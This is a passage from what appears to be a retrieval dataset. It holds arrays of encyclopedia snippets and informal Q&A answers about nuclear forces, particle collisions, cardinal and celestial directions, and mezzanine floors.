nuclear forces are the forces that cause radioactivity, or when matter emits energy. Weak nuclear force works on particles with a spin of 1/2. Strong nuclear forces are the forces that keep the quarks in a neutron and a proton together, and keeps the protons and neutrons together in an atom. The particle that carries the strong nuclear force is thought to be a gluon. The gluon is a particle with a spin of 1. The gluon holds together quarks to form protons and neutrons. However,", "exerted by one charge on another are strikingly similar. Both fall off as the square of the distance between the bodies. Both are proportional to the product of properties of the bodies, mass in the case of gravitation and charge in the case of electrostatics.\nThey also have a striking difference. Two masses attract each other, while two like charges repel each other.\nIn both cases, the bodies appear to act on each other over a distance. The concept of field was invented to mediate the interaction among bodies thus eliminating the need for action at a distance. The gravitational force is", "Resultant force A resultant force is the single force and associated torque obtained by combining a system of forces and torques acting on a rigid body. The defining feature of a resultant force, or resultant force-torque, is that it has the same effect on the rigid body as the original system of forces.\nThe point of application of the resultant force determines its associated torque. The term resultant force should be understood to refer to both the forces and torques acting on a rigid body, which is why some use the term resultant force-torque. Bound vector A force applied", "Three-body force A three-body force is a force that does not exist in a system of two objects but appears in a three-body system. In general, if the behaviour of a system of more than two objects cannot be described by the two-body interactions between all possible pairs, as a first approximation, the deviation is mainly due to a three-body force.\nThe fundamental strong interaction does exhibit such behaviour, the most important example being the stability experimentally observed for the helium-3 isotope, which can be described as a 3-body quantum cluster entity of two protons and one neutron [PNP] in stable", "is placed. This center of gravity exists only when the force is uniform, in which case it coincides with the center of mass. This approach dates back to Archimedes. Usage The centers of gravity defined above are not fixed points on the body; rather, they change as the position and orientation of the body changes. This characteristic makes the center of gravity difficult to work with, so the concept has little practical use.\nWhen it is necessary to consider a gravitational torque, it is easier to represent gravity as a force acting at the center of mass, plus an orientation-dependent couple.", "these characteristics, forces are classified as \"vector quantities\". This means that forces follow a different set of mathematical rules than physical quantities that do not have direction (denoted scalar quantities). For example, when determining what happens when two forces act on the same object, it is necessary to know both the magnitude and the direction of both forces to calculate the result. If both of these pieces of information are not known for each force, the situation is ambiguous. For example, if you know that two people are pulling on the same rope with known magnitudes of force but you", "rarely used in applications, even in celestial mechanics, where non-uniform fields are important. Since the center of gravity depends on the external field, its motion is harder to determine than the motion of the center of mass. The common method to deal with gravitational torques is a field theory. Center of mass One way to define the center of gravity of a body is as the unique point in the body if it exists, that satisfies the following requirement: There is no torque about the point for any positioning of the body in the field of force in which it", "lines of force as something real, and as indicating something more than the mere resultant of two forces, whose seat of action is at a distance, and which do not exist there at all until a magnet is placed in that part of the field. We are dissatisfied with the explanation founded on the hypothesis of attractive and repellent forces directed towards the magnetic poles, even though we may have satisfied ourselves that the phenomenon is in strict accordance with that hypothesis, and we cannot help thinking that in every place where we find these lines of force, some physical" ]

[ "At the Large Hadron Collider in Switzerland, they combine protons, which are one of the particles that make up atoms. Protons are made of smaller particles called quarks, which come in \"flavours\" called names like up, down, top, bottom, strange and charm. When you collide protons, they break apart into the quarks they are made of. These quarks can then rearrange themselves into other particles made of quarks - hadrons - or can change \"flavour\" to a different quark, which again produces more particles called bosons. All these particles can then decay into all sorts of other particles, producing yet more particles", "This process is called nuclear fusion.\n\nEvery element is made up out of protons and neutrons in it's core.\n\nThe amount of protons determine what kind of element it is.\n\n\nHydrogen for example is made up out of one proton.\n\nSmash 2 hydrogen atoms together hard enough and you'll wind up getting an element with 2 protons. And that element is called Helium.\n\nThe same principle applies for heavier elements." ]

[ "a broader sense.\nParticle aggregation is normally an irreversible process. Once particle aggregates have formed, they will not easily disrupt. In the course of aggregation, the aggregates will grow in size, and as a consequence they may settle to the bottom of the container, which is referred to as sedimentation. Alternatively, a colloidal gel may form in concentrated suspensions which changes its rheological properties. The reverse process whereby particle aggregates are disrupted and dispersed as individual particles, referred to as peptization, hardly occurs spontaneously, but may occur under stirring or shear.\nColloidal particles may also remain dispersed in liquids for long periods", "the particles has changed. This is due to energy being converted into vibrations which can be interpreted as heat, waves (sound), or vibrations between constituent particles of either collision party. Particles may also split apart, further energy can be converted into breaking the chemical bonds between components.\nFurthermore, momentum is conserved in both elastic and inelastic scattering. The other two results are reactions (when the structure of the interacting particles is changed producing two or more (generally complex particles)), and that new particles that are not constituent elementary particles of the interacting particles are created. SLAC Stanford Linear Accelerator Center is", "an incoherent particle then the portion of boundary that would be inside the particle essentially ceases to exist. In order to move past the particle some new boundary must be created, and this is energetically unfavourable. While the region of boundary near the particle is pinned, the rest of the boundary continues trying to move forward under its own driving force. This results in the boundary becoming bowed between those points where it is anchored to the particles. Computer Simulation Particle pinning has been studied extensively with computer simulations. Monte Carlo and phase field simulations have been used in 3D", "particles together). The function of the accelerators was to increase the particles' energies so that heavy particles can be created when the particles collide. When the particles were accelerated to maximum energy (and focused to so-called bunches), an electron and a positron bunch were made to collide with each other at one of the collision points of the detector. When an electron and a positron collide, they annihilate to a virtual particle, either a photon or a Z boson. The virtual particle almost immediately decays into other elementary particles, which are then detected by huge particle detectors. Detectors", "produced, although few are likely to be new particles not discovered before.\nIn the old bubble chambers and cloud chambers, \"events\" could be seen by observing charged particle tracks emerging from the region of the event before they curl due to the magnetic field through the chamber acting on the particles. At modern particle accelerators, events are the result of the interactions which occur from a beam crossing inside a particle detector.\nPhysical quantities used to analyze events include the differential cross section, the flux of the beams (which in turn depends on the number density of the particles in the beam", "Particle aggregation Particle agglomeration refers to formation of assemblages in a suspension and represents a mechanism leading to destabilization of colloidal systems. During this process, particles dispersed in the liquid phase stick to each other, and spontaneously form irregular particle clusters, flocs, or aggregates. This phenomenon is also referred to as coagulation or flocculation and such a suspension is also called unstable. Particle aggregation can be induced by adding salts or another chemical referred to as coagulant or flocculant. Some people refer specifically to flocculation when aggregation is induced by addition of polymers or polyelectrolytes, while coagulation is used in", "moving on a lattice occupied by two kinds of obstacles that scatter the particles according to certain deterministic scattering rules. This mixture of random and deterministic features has led to a number of new types of particle diffusion, which can evolve suddenly to propagation. Cohen's lab has focused on determining a numerical approach to understand the origin of this phenomenon, because neither probability theory nor kinetic theory is applicable to these systems.\nIn 2003, he introduced along with Christian Beck the formalism of superstatistics.", "created enable the particles to weld together and this leads to an increase in particle size. Since in the early stages of milling, the particles are soft (if we are using either ductile-ductile or ductile-brittle material combination), their tendency to weld together and form large particles is high. A broad range of particle sizes develops, with some as large as three times bigger than the starting particles. The composite particles at this stage have a characteristic layered structure consisting of various combinations of the starting constituents. With continued deformation, the particles get work hardened and fracture by a fatigue failure", "new event for a particle is being set,\nsome of the neighboring particles may update their non-committed new events to better account for the new information.\nAs the calculations of the LSA progress, the collision rates of particles may and usually do increase. Still the LSA successfully approaches the jamming state as long as those rates remain comparable among all the particles, except for the rattlers. (Rattlers experience consistently low collision rates. This property allows one to detect rattlers.) However, \nit is possible for a few particles, even just for a single particle, to experience a very high collision rate along the", "in our macroscopic world. Their observed behavior can be that of a wave or of a particle (see wave–particle duality), their wave-like behavior implies what is called \"superposition\".\nIn this state, some properties of the particle, for example, its location, are not definite. While in a superposition, any and all possibilities are equally real. So, if the particle could feasibly exist in more than one location, in certain senses that are experimentally useful, it exists in all of them simultaneously. The particle's wave can later be \"collapsed\" by observing it, at which time its location (or other measured property) at the", " High energy physics colliders collect particles into bunches, and then collide the bunches together. However, only a very tiny fraction of particles in each bunch actually collide. In circular colliders, these bunches travel around a roughly circular shape in opposite directions and therefore can be collided over and over. This enables a high rate of collisions and facilitates collection of a large amount of data, which is important for precision measurements or for observing very rare decays. However, the energy of the bunches is limited due to losses from synchrotron radiation. In linear colliders,", "escapes, as described by the Penrose process. Some of those particles will collide with incoming particles; these are very high energy collisions which, according to Pavlov, can form ordinary visible protons with very high energy. Pavlov then claims that evidence of such processes are ultra-high-energy cosmic ray particles. Ultra-high energy cosmic ray particles may also be produced by the decay of super-heavy dark matter \"X particles\" such as Holeums. Such very energetic decay products, carrying a fraction of the mass of the X particle, are believed to be a plausible explanation for the observed ultra-high energy cosmic rays (UHECR).\nHigh energy", "allowed to build up one by one (see the adjacent image). This demonstrates the wave–particle duality, which states that all matter exhibits both wave and particle properties: the particle is measured as a single pulse at a single position, while the wave describes the probability of absorbing the particle at a specific place on the screen. This phenomenon has been shown to occur with photons, electrons, atoms and even some molecules, including buckyballs. So experiments with electrons add confirmatory evidence to the view that electrons, protons, neutrons, and even larger entities that are ordinarily called particles nevertheless have their own", "target and incident particles have total conservation of kinetic energy. This implies that there is no breaking up of the particles or energy loss through vibrations, that is to say that the internal states of each of the particles remains unchanged. Due to the fact that there is no breaking present, elastic collisions can be modeled as occurring between point-like particles, a principle that is very useful for an elementary particle such as the electron. Inelastic Inelastic scattering is when the collisions do not conserve kinetic energy, and as such the internal states of one or both of", "usually terminate the lifetime of the particle once it passes out of a particular field of view.\nHowever, if the entire life cycle of each particle is rendered simultaneously, the result is static particles — strands of material that show the particles' overall trajectory, rather than point particles. These strands can be used to simulate hair, fur, grass, and similar materials. The strands can be controlled with the same velocity vectors, force fields, spawning rates, and deflection parameters that animated particles obey. In addition, the rendered thickness of the strands can be controlled and in some implementations may be varied along", "scattering\" implies that the internal states of the scattered particles do not change, and hence they emerge unchanged from the scattering process. In inelastic scattering, by contrast, the particles' internal state is changed, which may amount to exciting some of the electrons of a scattering atom, or the complete annihilation of a scattering particle and the creation of entirely new particles.\nThe example of scattering in quantum chemistry is particularly instructive, as the theory is reasonably complex while still having a good foundation on which to build an intuitive understanding. When two atoms are scattered off one another, one can", "the particle-like behavior. But if no information exists about which slit – so that no observer, no matter how well equipped, will ever be able to determine which slit each particle traverses – then the signal particles will interfere with themselves as if they traveled through both slits, as a wave. This is the wave-like behavior. These behaviors are complementary, according to the Englert–Greenberger duality relation, because when one behavior is observed the other is absent. Both behaviors can be observed at the same time, but each only as lesser manifestations of their full behavior (as determined by the duality", "with virtual particle-antiparticle pairs which appear spontaneously and exist for only a short time before, typically, annihilating themselves again. Some of these virtual particles can have negative energy. Their behaviour plays a role in several important phenomena, as described below. Casimir effect In the Casimir effect, two flat plates placed very close together restrict the wavelengths of quanta which can exist between them. This in turn restricts the types and hence number and density of virtual particle pairs which can form in the intervening vacuum and can result in a negative energy density. This causes an attractive force between the", "Galison claims, can be seen in the conflicts amongst high-energy physicists investigating new particles, some of whom offer up statistically significant and frequently replicated analysis of the new particle passing through electric fields, others of whom offer up a single picture of a particle behaving—in a single instance—in a way that cannot be explained by the characteristics of existing known particles.\nHis work with Lorraine Daston developed the concept of mechanical objectivity which is often used in scholarly literature, and he has done pioneering work on applying the anthropological notion of trading zones to scientific practice. Documentary films Galison has been", "particle is destroyed when it is absorbed back into the vacuum state by another disturbance. The disturbances are imagined to be due to bodies that interact with the virtual particle field.", "Strongly interacting massive particle Strongly interacting massive particles (SIMPs) are hypothetical particles that interact strongly between themselves [looks like they scatter off each other - observation of colliding galaxies in the Abell 3827 cluster, where it seemed that dark matter lagged behind the ordinary matter] and weakly with ordinary matter, but could form the inferred dark matter despite this. However, this finding has since been discounted based on further observations and modelling of the cluster.\nStrongly interacting massive particles have been proposed as a solution for the ultra-high-energy cosmic-ray problem and the absence of cooling flows in galactic clusters.\nVarious experiments and", "any number of particles. For part of the time, the system evolves deterministically under the guiding equation with a fixed number of particles. But under a stochastic process, particles may be created and annihilated. The distribution of creation events is dictated by the wavefunction. The wavefunction itself is evolving at all times over the full multi-particle configuration space.\nHrvoje Nikolić introduces a purely deterministic de Broglie–Bohm theory of particle creation and destruction, according to which particle trajectories are continuous, but particle detectors behave as if particles have been created or destroyed even when a true creation or destruction of particles does", "that form the interference pattern are detectable. The emergence of an interference pattern suggests that each particle passing through the slits interferes with itself, and that therefore in some sense the particles are going through both slits at once. This is an idea that contradicts our everyday experience of discrete objects.\nA well-known thought experiment, which played a vital role in the history of quantum mechanics (for example, see the discussion on Einstein's version of this experiment), demonstrated that if particle detectors are positioned at the slits, showing through which slit a photon goes, the interference pattern will disappear. This which-way", "particles are weak interactions due to their mixing with ordinary neutrinos. Due to the smallness of the mixing angle they are not overproduced because they freeze out before reaching thermal equilibrium. Their properties are consistent with astrophysical bounds coming from structure formation and the Pauli principle if their mass is larger than 1-8 keV.\nIn February 2014, different analyses have extracted from the spectrum of X-ray emissions observed by XMM-Newton, a monochromatic signal around 3.5 keV. This signal is coming from different galaxy clusters (like Perseus and Centaurus) and several scenarios of warm dark matter can justify such a line. We", "collection of particles for which is known as being either less than or greater than the Procrustean method may be carried out by keeping all particles which, when passed through a polarization-dependent absorber, or a polarization-dependent-reflector, which absorb or reflect a fraction of the more likely outcome, are not absorbed or deflected. Therefore, if Alice possesses particles for which , she can separate out particles which are more likely to be measured in the up/down basis, and left with particles in maximally mixed state of spin up and spin down. This treatment corresponds to a POVM (positive-operator-valued", "forces would then oppose this phase separation by pulling apart the particles in the cluster, following two main processes. First, single particles can exist independently if their propulsion forces are sufficient to escape from the cluster. Secondly, a large cluster can break into smaller pieces due to the build-up of internal stress: as more and more particles enter the cluster, their propulsive forces add up until they break down its cohesion. \nDiffusiophoresis is also a commonly cited mechanism for clustering and collective behavior, involving the attraction or repulsion of particles to each other in response to ion gradients. Diffusiophoresis is", "in the case of a massive particle decohered by collisions with a fluid environment, often known as collisional decoherence. In particular, Busse and Hornberger have identified certain solitonic wavepackets as being unusually stable in the presence of such decoherence.", "\"pure\" eigenstates.\nAnother matrix serves as a key tool for describing the scattering experiments that form the cornerstone of experimental particle physics: Collision reactions such as occur in particle accelerators, where non-interacting particles head towards each other and collide in a small interaction zone, with a new set of non-interacting particles as the result, can be described as the scalar product of outgoing particle states and a linear combination of ingoing particle states. The linear combination is given by a matrix known as the S-matrix, which encodes all information about the possible interactions between particles. Normal modes A general application of", "bumps, at the edge of a gap created by a giant planet, or at the boundaries of turbulent regions of the disk. Or, the particles may take an active role in their concentration via a feedback mechanism referred to as a streaming instability. In a streaming instability the interaction between the solids and the gas in the protoplanetary disk results in the growth of local concentrations, as new particles accumulate in the wake of small concentrations, causing them to grow into massive filaments. Alternatively, if the grains that form due to the agglomeration of dust are highly porous their growth", "the center of CLAS. These collisions generally produce new particles, often after the target nucleons (protons and neutrons) are briefly excited to heavier-mass versions of the familiar protons and neutrons. A whole variety of intermediate-mass short-lived particles called \"mesons\" can be created. Scattered electron as well as the longer-lived produced particles travel through the CLAS detector, where they are measured. Particle physicists use these measurements to deduce the underlying structure of protons and neutrons and to better understand the interactions that create these new particles.\nThe CLAS detector system was operational from 1998 until May 2012. From that time onward," ]

[ "As others have said, you have to have a reference point.\nNow, in orbit, there are some directions that are used for navigation, but they're dependent on your particular orbit. \nStill, they're handy to have if you ever find yourself in an orbiting space hotel and want to impress that cute tourist :)\n\nThey are:\n\n* Prograde: Your direction of motion relative to the thing you're orbiting. If you think of the orbit as a roller coaster track, you're looking directly forward. This is the direction you want to accelerate to raise your orbit. \n\n* Retrograde: The opposite - looking directly backward. This is the direction you want to accelerate if you want to lower your orbit or re-enter the atmosphere.\n\n* Normal: In an equatorial west-to-east orbit, this would point north. In an inclined orbit, it'd be north-ish. It's 90 degrees from the prograde/retrograde line, parallel to the planet surface. If you could move in this direction without disturbing your imaginary roller coaster track, the track would seem to curve to the left, with your orbital path going counterclockwise. This stuff's hard to describe without pictures :) If you look in this direction, you'll see the horizon of the earth, with the ground moving from right to left beneath you.\n\n* Antinormal: 180 degrees away in the other direction. Again, if you're in a perfectly un-inclined orbit at the equator, this would point \"south.\" You'd be looking at the southern horizon and the earth would seem to be moving left to right beneath you.\n\n* Zenith: Straight away from the planet surface. Closest thing to \"up\".\n\n* Nadir: Directly toward the planet surface. \"Down\".", "In space, both in real life and in physics, there are no fixed reference points. There are no cardinal points, no up or down, and there is no way to say if anything is moving, other than relative to another object. In our solar system we can navigate by the stars, and we get into the habit of referring up and down to the sun's axis, but all of that is arbitrary. You could be moving at 10km/s relative to one object, and completely still relative to another, and both are as true as another, because the only measurements of space and motion we can ever make are relative to another thing, and in space itself, there is no \"thing\" to base such a measurement off of universally.", "The closest equivalents I can think of are galactic north and south, towards the core or the rim, and spinward or reverse. I'm sure there are actual technical terms, but hopefully you get the idea" ]

[ "Cardinal direction The four cardinal directions, or cardinal points, are the directions north, east, south, and west, commonly denoted by their initials N, E, S, and W. East and west are perpendicular (at right angles) to north and south, with east being in the clockwise direction of rotation from north and west being directly opposite east. Points between the cardinal directions form the points of the compass.\nThe intercardinal (also called the intermediate directions and, historically, ordinal) directions are northeast (NE), southeast (SE), southwest (SW), and northwest (NW). The intermediate direction of every set of intercardinal and cardinal direction is called", "a line from the center to the South celestial pole will define the South point by its intersection with the limb. The points at right angles to the North and South points are the East and West points. Going around the disk clockwise from the North point, one encounters in order the West point, the South point, and then the East point. This is opposite to the order on a terrestrial map because one is looking up instead of down.\nSimilarly, when describing the location of one astronomical object relative to another, \"north\" means closer to the North celestial pole, \"east\"", "north or south, and the turning direction, stated last, is east or west. The directions are chosen so that the angle, stated between them, is positive, between zero and 90 degrees. If the bearing happens to be exactly in the direction of one of the cardinal points, a different notation, e.g. \"due east\", is used instead. Astronomy Used in celestial navigation, an azimuth is the direction of a celestial body from the observer. In astronomy, an azimuth is sometimes referred to as a bearing. In modern astronomy azimuth is nearly always measured from the north.\n(The article on coordinate systems, for", "example, uses a convention measuring from the south.) In former times, it was common to refer to azimuth from the south, as it was then zero at the same time that the hour angle of a star was zero. This assumes, however, that the star (upper) culminates in the south, which is only true if the star's declination is less than (i.e. further south than) the observer's latitude. Right ascension If, instead of measuring from and along the horizon, the angles are measured from and along the celestial equator, the angles are called right ascension if referenced to the Vernal", "intercardinal directions with the additional directions of up and down. Each of the ten directions has its own name in Sanskrit. Indigenous Australia Some indigenous Australians have cardinal directions deeply embedded in their culture. For example, the Warlpiri people have a cultural philosophy deeply connected to the four cardinal directions and the Guugu Yimithirr people use cardinal directions rather than relative direction even when indicating the position of an object close to their body. (For more information, see: Cultural use of cardinal rather than relative direction.)\nThe precise direction of the cardinal points appears to be important in Aboriginal stone arrangements.\nMany", "the Infinite. Angles in geography and astronomy In geography, the location of any point on the Earth can be identified using a geographic coordinate system. This system specifies the latitude and longitude of any location in terms of angles subtended at the centre of the Earth, using the equator and (usually) the Greenwich meridian as references.\nIn astronomy, a given point on the celestial sphere (that is, the apparent position of an astronomical object) can be identified using any of several astronomical coordinate systems, where the references vary according to the particular system. Astronomers measure the angular separation of two stars", "the map, typically via contour lines.\nIn astronomy, the cardinal points of an astronomical body as seen in the sky are four points defined by the directions towards which the celestial poles lie relative to the center of the disk of the object in the sky.\nA line (here it is a great circle on the celestial sphere) from the center of the disk to the North celestial pole will intersect the edge of the body (the \"limb\") at the North point. The North point will then be the point on the limb that is closest to the North celestial pole. Similarly,", "Points of the compass The points of the compass mark the divisions on a compass, which is primarily divided into the four cardinal directions: north, south, east, and west. These points are further subdivided by the addition of the four intercardinal (or ordinal) directions—northeast (NE), southeast (SE), southwest (SW), and northwest (NW)—to indicate the eight principal \"winds\". In meteorological usage, further intermediate points between the cardinal and intercardinal directions, such as north-northeast (NNE) are added to give the sixteen points of a compass rose.\nAt the most complete division are the full thirty-two points of the mariner's compass, which adds points", "divided into nine parts: the \"first moved\" (primum mobile), the sphere of the fixed stars (the firmament), and the seven planets, Saturn, Jupiter, Mars, the sun, Venus, Mercury and the moon. There is a 'right' sphere and an oblique sphere: the right sphere is only observed by those at the equator (if there are such people), everyone else sees the oblique sphere. There are two movements: one of the heavens from east to west on its axis through the Arctic and Antarctic poles, the other of the inferior spheres at 23° in the opposite direction on their own axes.\nThe world,", "of a sphere with some radius R. In which direction angle p relative to North should the ship steer to reach the target position? Astronomy The parallactic angle of astronomy is the position angle of the zenith (considered the target position) as seen from the star (considered the starting position), where the North Celestial Pole (NCP) of the celestial sphere defines the reference direction.\nThe sign of the angle is basically kept, north over east in both cases,\nbut as astronomers look at stars from the inside of the celestial sphere, \nthe definition uses the convention that the q is the angle", "Axis mundi The axis mundi (also cosmic axis, world axis, world pillar, center of the world, world tree), in certain beliefs and philosophies, is the world center, or the connection between Heaven and Earth. As the celestial pole and geographic pole, it expresses a point of connection between sky and earth where the four compass directions meet. At this point travel and correspondence is made between higher and lower realms. Communication from lower realms may ascend to higher ones and blessings from higher realms may descend to lower ones and be disseminated to all. The spot functions as the omphalos", "means at a higher right ascension, \"south\" means closer to the South celestial pole, and \"west\" means at a lower right ascension. If one is looking at two stars that are below the North Star, for example, the one that is \"east\" will actually be further to the left. Cultural variations In many regions of the world, prevalent winds change direction seasonally, and consequently many cultures associate specific named winds with cardinal and intercardinal directions. For example, classical Greek culture characterized these winds as Anemoi.\nIn pre-modern Europe more generally, between eight and 32 points of the compass – cardinal and", "direction mean that the coordinate system, while aligned with Earth's equator and pole, does not rotate with the Earth, but remains relatively fixed against the background stars. A right-handed convention means that coordinates increase northward from and eastward around the fundamental plane. Use in astronomy A star's spherical coordinates are often expressed as a pair, right ascension and declination, without a distance coordinate. The direction of sufficiently distant objects is the same for all observers, and it is convenient to specify this direction with the same coordinates for all. In contrast, in the horizontal coordinate system, a star's position differs", "such as north by east (NbE; sometimes NxE) between north and north-northeast, and northeast by north (NEbN; NExN) between north-northeast and northeast. A compass point allows reference to a specific course (or azimuth) in a colloquial fashion, without having to compute or remember degrees.\nThe European nautical tradition retained the term \"one point\" to describe ​¹⁄₃₂ of a circle in such phrases as \"two points to starboard\". By the middle of the 18th century, the 32-point system was extended with half- and quarter-points to allow 128 directions to be differentiated. Compass points The names of the compass point directions follow these", "vertical direct north sundial in the Southern Hemisphere. To position a horizontal sundial correctly, one has to find true North or South. The same process can be used to do both. The gnomon, set to the correct latitude, has to point to the true South in the Southern hemisphere as in the Northern Hemisphere it has to point to the true North. The hour numbers also run in opposite directions, so on a horizontal dial they run anticlockwise (US: counterclockwise) rather than clockwise.\nSundials which are designed to be used with their plates horizontal in one hemisphere can be used with", "west (Varuna), northwest (Vayu), north (Kubera/Heaven) and northeast (Ishana/Shiva). North is associated with the Himalayas and heaven while the south is associated with the underworld or land of the fathers (Pitr loka). The directions are named by adding \"disha\" to the names of each god or entity: e.g. Indradisha (direction of Indra) or Pitrdisha (direction of the forefathers i.e. south).\nThe Hopi language and the Tewa dialect spoken by the Arizona Tewa have proper names for the solstitial directions, which are approximately intercardinal, rather than for the cardinal directions. Non-compass directional systems Use of the compass directions is common and deeply", "from west to east around the circumference of a deferent whose centre is the centre of the Earth's orbit, represented by the point S in the diagram, with a period relative to the fixed stars as given in the section The order of the spheres above.\nThe centre of the second epicycle, represented by the point e2 in the diagram, revolves uniformly from east to west around the circumference of the first, with the same period relative to the radial line joining S to e1. As a consequence, the direction of the radial line joining e1 to e2 remains", "orbit. The star, the Sun and the Earth form the corners of an imaginary right triangle in space: the right angle is the corner at the Sun, and the corner at the star is the parallax angle. The length of the opposite side to the parallax angle is the distance from the Earth to the Sun (defined as one astronomical unit (au)), and the length of the adjacent side gives the distance from the sun to the star. Therefore, given a measurement of the parallax angle, along with the rules of trigonometry, the distance from the Sun to the star", "position of stars north/south of the celestial equator (see equatorial coordinates), nor with ecliptic latitude, the coordinate that astronomers use to specify the angular position of stars north/south of the ecliptic (see ecliptic coordinates).", "to north at the March equinox and is currently located in the constellation Pisces. Right ascension is measured continuously in a full circle from that alignment of Earth and Sun in space, that equinox, the measurement increasing towards the east.\nAs seen from Earth (except at the poles), objects noted to have 12ʰ RA are longest visible (appear throughout the night) at the March equinox; those with 0ʰ RA (apart from the sun) do so at the September equinox. On those dates at midnight, such objects will reach (\"culminate\" at) their highest point (their meridian). How high depends on their declination;", "a description by LDS Church president John Taylor in 1883, the \"Square\" represents \"the justice and fairness of our Heavenly Father, that we will receive all the good that is coming to us or all that we earn, on a square deal\", and the \"Compasses\" represents \"the North Star\". In addition to the Square and Compasses, Taylor described the other symbols as follows: the collar represented the idea that the Lord's \"yoke is easy and [his] burden is light\", or the \"Crown of the Priesthood\"; the double-knotted strings represented \"the Trinity\" and \"the marriage covenant\"; the navel mark represents \"strength", "to the west and has a magnitude of 10 N, and the other points to the south and has a magnitude of 8.0 N. By the Pythagorean theorem, the resultant of these two forces has a magnitude of approximately 12.8 N, which is also the magnitude of the equilibrant force. The angle of the equilibrant force can be found by trigonometry to be approximately 51 degrees north of east.", "of these borders lie between  08ʰ 41.4ᵐ and  22ʰ 54.0ᵐ, while the declination coordinates range from the north celestial pole south to 65.40°. Its position in the far northern celestial hemisphere means that the whole constellation is only visible to observers in the northern hemisphere. Stars The German cartographer Johann Bayer used the Greek letters alpha to theta to label the most prominent stars in the constellation, while his countryman Johann Elert Bode subsequently added iota to phi. Only lambda and pi remain in use, likely because of their proximity to the north celestial pole. Within the constellation's borders, there are 39 stars", "two sides that meet at a right angle). Thales' theorem Thales' theorem, named after Thales of Miletus states that if A, B, and C are points on a circle where the line AC is a diameter of the circle, then the angle ABC is a right angle. Cantor supposed that Thales proved his theorem by means of Euclid Book I, Prop. 32 after the manner of Euclid Book III, Prop. 31. Scaling of area and volume In modern terminology, the area of a plane figure is proportional to the square of any of its linear dimensions, , and the volume", "reference vector. Any direction can be the reference vector, as long as it is clearly defined.\nQuite commonly, azimuths or compass bearings are stated in a system in which either north or south can be the zero, and the angle may be measured clockwise or anticlockwise from the zero. For example, a bearing might be described as \"(from) south, (turn) thirty degrees (toward the) east\" (the words in brackets are usually omitted), abbreviated \"S30°E\", which is the bearing 30 degrees in the eastward direction from south, i.e. the bearing 150 degrees clockwise from north. The reference direction, stated first, is always", "of that object to/from the celestial equator (thus ranging from +90° to -90°). \nThe location of stars, planets, and other similarly distant objects is usually expressed in the following parameters, one for each of the three spatial dimensions: their declination, right ascension (epoch-fixed hour angle), and distance. These are as located at the vernal equinox for the epoch (e.g. J2000) stated.\nA meridian on the celestial sphere matches an hour circle at any time. The hour circle is a subtype whereby it is expressed in hours as opposed to degrees, radians, or other units of angle. The hour circles make for", "in nearly all of Mars's northern hemisphere. Except in areas close to the equator, Deneb permanently circles the North pole. The orientation of Deneb and Sadr would make a useful clock hand for telling sidereal time.\nMars's north celestial pole is also only a few degrees away from the galactic plane. Thus the Milky Way, especially rich in the area of Cygnus, is always visible from the northern hemisphere.\nThe South celestial pole is correspondingly found at  9ʰ 10ᵐ 42ˢ and −52° 53.0′, which is a couple of degrees from the 2.5-magnitude star Kappa Velorum (which is at  9ʰ 22ᵐ 06.85ˢ −55° 00.6′), which could therefore be considered", "way around the sky, back to Sagittarius, dividing the sky into two roughly equal hemispheres.\nThe galactic plane is inclined by about 60° to the ecliptic (the plane of Earth's orbit). Relative to the celestial equator, it passes as far north as the constellation of Cassiopeia and as far south as the constellation of Crux, indicating the high inclination of Earth's equatorial plane and the plane of the ecliptic, relative to the galactic plane. The north galactic pole is situated at right ascension 12ʰ 49ᵐ, declination +27.4° (B1950) near β Comae Berenices, and the south galactic pole is near α Sculptoris.", "in four directions has been used to represent many ideas, but primarily describes the four directions, the four Vedas and their harmonious whole. Its use in Hinduism dates back to ancient times. Sri Chakra Yantra Sri Chakra Yantra of Tripura Sundari (commonly referred to as Sri Yantra) is a mandala formed by nine interlocking triangles. Four of these triangles are oriented upright, representing Shiva or the Masculine. Five of these triangles are inverted triangles representing Shakti, or the Feminine. Together, the nine triangles form a web symbolic of the entire cosmos, a womb symbolic of", "are the pointer stars from the Big Dipper (Ursa Major) or Kochab from the Little Dipper (Ursa Minor). The star Schedar in Cassiopeia may also be used, since it is on the opposite side of the sky from Ursa Major.\nThe inner disc is rotated so that the mark for the chosen reference star points to the current date on the outer disc. The north star is sighted through the center of the device, and the pointer arm is rotated to point at the chosen reference star. The intersection of the pointer arm with the hour markings on the inner disc" ]

[ "Floors are a totally arbitrary thing. \n\nA mezzanine is generally a level that does not cover the full square footage of the structure. It may be between two full floors, or simply above the ground floor.\n\n[Here is an image](_URL_0_) of a theater with a full ground floor and two mezzanine levels.", "The mezzanine is essentially a floor which occurs in a double (or more) height space. Usually a floor to ceiling is between 2400 and 3000mm, however in an atrium there may be a double height ceiling (6000mm). A mezzanine allows for a floor to be in place whilst still affording the benefits of the double height (light, airiness, grandeur etc)." ]

[ "often pitched and/or at a different height than that of other floors. A penthouse is a luxury apartment on the topmost storey of a building. A basement is a storey below the main or ground floor; the first (or only) basement of a home is also called the lower ground floor.\nSplit-level homes have floors that offset from each other by less than the height of a full storey. A mezzanine, in particular, is typically a floor halfway between the ground floor and the next higher floor. Homes with a split-level entry have the entire main floor raised half a storey", "style. A mezzanine floor has been inserted between the original ground and first floor levels to create seven shops on the ground level and a showroom at the mezzanine level.\nThe building is constructed of load-bearing masonry walls with some internal timber and steel structural elements. The west and north elevation exhibit a stylish hierarchy of columns and window treatments. The street level facades have been compromised by the introduction of recent shop frontage. The floor is timber and has carpet over it. The roof is flat with a series of plant and service room located over the eastern", "explicitly qualified as being above the ground level, such as in Slovenian \"prvo nadstropje\" (literally \"first floor above ceiling (of the ground storey)\").\nIn Spain, the level above ground level (the mezzanine) is sometimes called \"entresuelo\" (entresòl in Catalan, etc., which literally means \"interfloor\"), and elevators may skip it. The next level is sometimes called \"principal\". The \"first floor\" can therefore be two or three levels above ground level. In Italy, in the ancient palaces the first floor is called piano nobile (\"noble floor\"), since the noble owners of the palace lived there.\nIn France, there are two distinct names for storeys", "a mezzanine level are workrooms, store rooms and closets. On the second floor are fourteen \"Maidservants' Bedrooms\" though most such bedrooms have been converted to office space. In the south-west wing on the first floor level are eight \"Menservants' Bedrooms\", again converted subsequently to office space and on the ground floor level are the domestic offices which were originally the Butler's Pantry, Butler's Room, Servants' hall, Housekeeper's Room, Kitchen, Still room, Scullery, Dairy, Wash-house etc., though these again have mainly been converted to office space. In the basement there are extensive wine cellars, storage and boiler space.\nThe former seven-bay stable", "a ground floor, mezzanine and an upper floor. At the three-story houses entrance is usually from the stony place, but there are also samples where the courtyard is at the street front and the entrance is from the courtyard. At the ground floor, after the stony place which is at the height of two floors, the courtyard and the stairs are placed. At this floor, 